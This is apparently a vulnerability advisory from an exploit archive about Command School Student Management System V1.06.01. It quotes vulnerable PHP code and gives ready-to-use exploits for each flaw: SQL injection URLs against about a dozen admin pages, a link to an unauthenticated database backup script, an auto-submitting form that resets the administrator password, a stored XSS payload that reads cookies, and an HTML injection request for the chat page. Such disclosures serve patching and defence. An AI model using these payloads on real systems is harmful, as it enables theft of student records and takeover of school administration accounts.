Command School Student Management System V1.06.01 Multiple Vulnerabilties

2014-01-08 / 2014-02-09
Risk: Medium
Local: No
Remote: Yes

Command School Student Management System V1.06.01 - Multiple Vulnerabilties ============================================================================ #################################################################### .:. Author : AtT4CKxT3rR0r1ST .:. Contact : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com] .:. Home : http://www.iphobos.com/blog/ .:. Script : http://sourceforge.net/projects/swifttide/ #################################################################### I. Multiple Sql Injection ############## VULNERABILITY ############## /admin_school_names.php ----------------------------------------------------------------------------- line (27): $action=get_param("action"); line (54-56) case "edit": $school_names_id=get_param("id"); $sSQL="SELECT school_names_desc FROM school_names WHERE school_names_id=$school_names_id"; note:[all Files same error] ----------------------------------------------------------------------------- ######### EXPLOIT ######### localhost/sw/admin_school_names.php?action=edit&id=null+and+1=2+union+select+version() localhost/sw/admin_subjects.php?action=edit&id=null+and+1=2+union+select+version() localhost/sw/admin_grades.php?action=edit&id=null+and+1=2+union+select+version() localhost/sw/admin_terms.php?action=edit&id=null+and+1=2+union+select+version() localhost/sw/admin_school_years.php?action=edit&id=null+and+1=2+union+select+version() localhost/sw/admin_sgrades.php?action=edit&id=null+and+1=2+union+select+version() localhost/sw/admin_media_codes_1.php?action=edit&id=null+and+1=2+union+select+version(),2,3 localhost/sw/admin_infraction_codes.php?action=edit&id=null+and+1=2+union+select+version() localhost/sw/admin_generations.php?action=edit&id=null+and+1=2+union+select+version() localhost/sw/admin_relations.php?action=edit&id=null+and+1=2+union+select+version() localhost/sw/admin_titles.php?action=edit&id=null+and+1=2+union+select+version() localhost/sw/health_allergies.php?action=edit&id=null+and+1=2+union+select+version() II. Backup Download ############## VULNERABILITY ############## /Backup/backup_ray2.php (LINE: 78-126) ----------------------------------------------------------------------------- // SET THE NAME OF THE BACKUP WITH A TIMESTAMP $bkup = 'mysql' . date('Ymd\THis') . $db_name . '.txt'; $fp = fopen($bkup, "w"); // GET THE LIST OF TABLES $sql = "SHOW TABLES"; $res = mysql_query($sql); if (!$res) die( mysql_error() ); if (mysql_num_rows($res) == 0) die( "NO TABLES IN $db_name" ); while ($s = mysql_fetch_array($res)) { $tables[] = $s[0]; } // ITERATE OVER THE LIST OF TABLES foreach ($tables as $table) { // WRITE THE DROP TABLE STATEMENT fwrite($fp,"DROP TABLE `$table`;\n"); // GET THE CREATE TABLE STATEMENT $res = mysql_query("SHOW CREATE TABLE `$table`"); if (!$res) die( mysql_error() ); $cre = mysql_fetch_array($res); $cre[1] .= ";"; $txt = str_replace("\n", "", $cre[1]); // FIT EACH QUERY ON ONE LINE fwrite($fp, $txt . "\n"); // GET THE TABLE DATA $data = mysql_query("SELECT * FROM `$table`"); $num = mysql_num_fields($data); while ($row = mysql_fetch_array($data)) { // MAKE INSERT STATEMENTS FOR ALL THE VALUES $txt = "INSERT INTO `$table` VALUES("; for ($i=0; $i < $num; $i++) { $txt .= "'".mysql_real_escape_string($row[$i])."', "; } $txt = substr($txt, 0, -2); fwrite($fp, $txt . ");\n"); } } // ALL DONE fclose($fp); ----------------------------------------------------------------------------- ##################################################### EXPLOIT ##################################################### <html> <title>Iphobos Blog</title> <label><a href="http://localhost/sw/backup/backup_ray2.php" class="button white">Backup Download</a></label> </html> III. Cross Site Request Forgery [Change Password Admin] <html> <body onload="document.form0.submit();"> <form method="POST" name="form0" action=" http://localhost/sw/admin_change_password.php"> <input type="hidden" name="password" value="123456" /> <input type="hidden" name="action" value="update" /> </form> </body> </html> IV. Cross Site Scripting [CSRF with XSS Exploit] <html> <body onload="document.form0.submit();"> <form method="POST" name="form0" action="http://localhost/sw/add_topic.php"> <input type="hidden" name="topic" value="<script>alert(document.cookie);</script>" /> <input type="hidden" name="detail" value="Iphobos Blog" /> <input type="hidden" name="Submit" value="Submit" /> </form> </body> </html> V. Html File Injection ############## VULNERABILITY ############## /chat/message.php (LINE: 4-12) ----------------------------------------------------------------------------- $f = fopen('msg.html',"a+"); } else { $f = fopen('msg.html',"w+"); } $nick = isset($_GET['nick']) ? $_GET['nick'] : "Hidden"; $msg = isset($_GET['msg']) ? htmlspecialchars($_GET['msg']) : "."; $line = "<p><span class=\"name\">$nick: </span><span class=\"txt\">$msg</span></p>"; fwrite($f,$line."\r\n"); fclose($f); ----------------------------------------------------------------------------- ######### EXPLOIT ######### localhost/sw/chat/message.php?line=&nick=IPHOBOS&msg=BLOG After Exploit Go To localhost/sw/chat/msg.html you will find the injection information ####################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top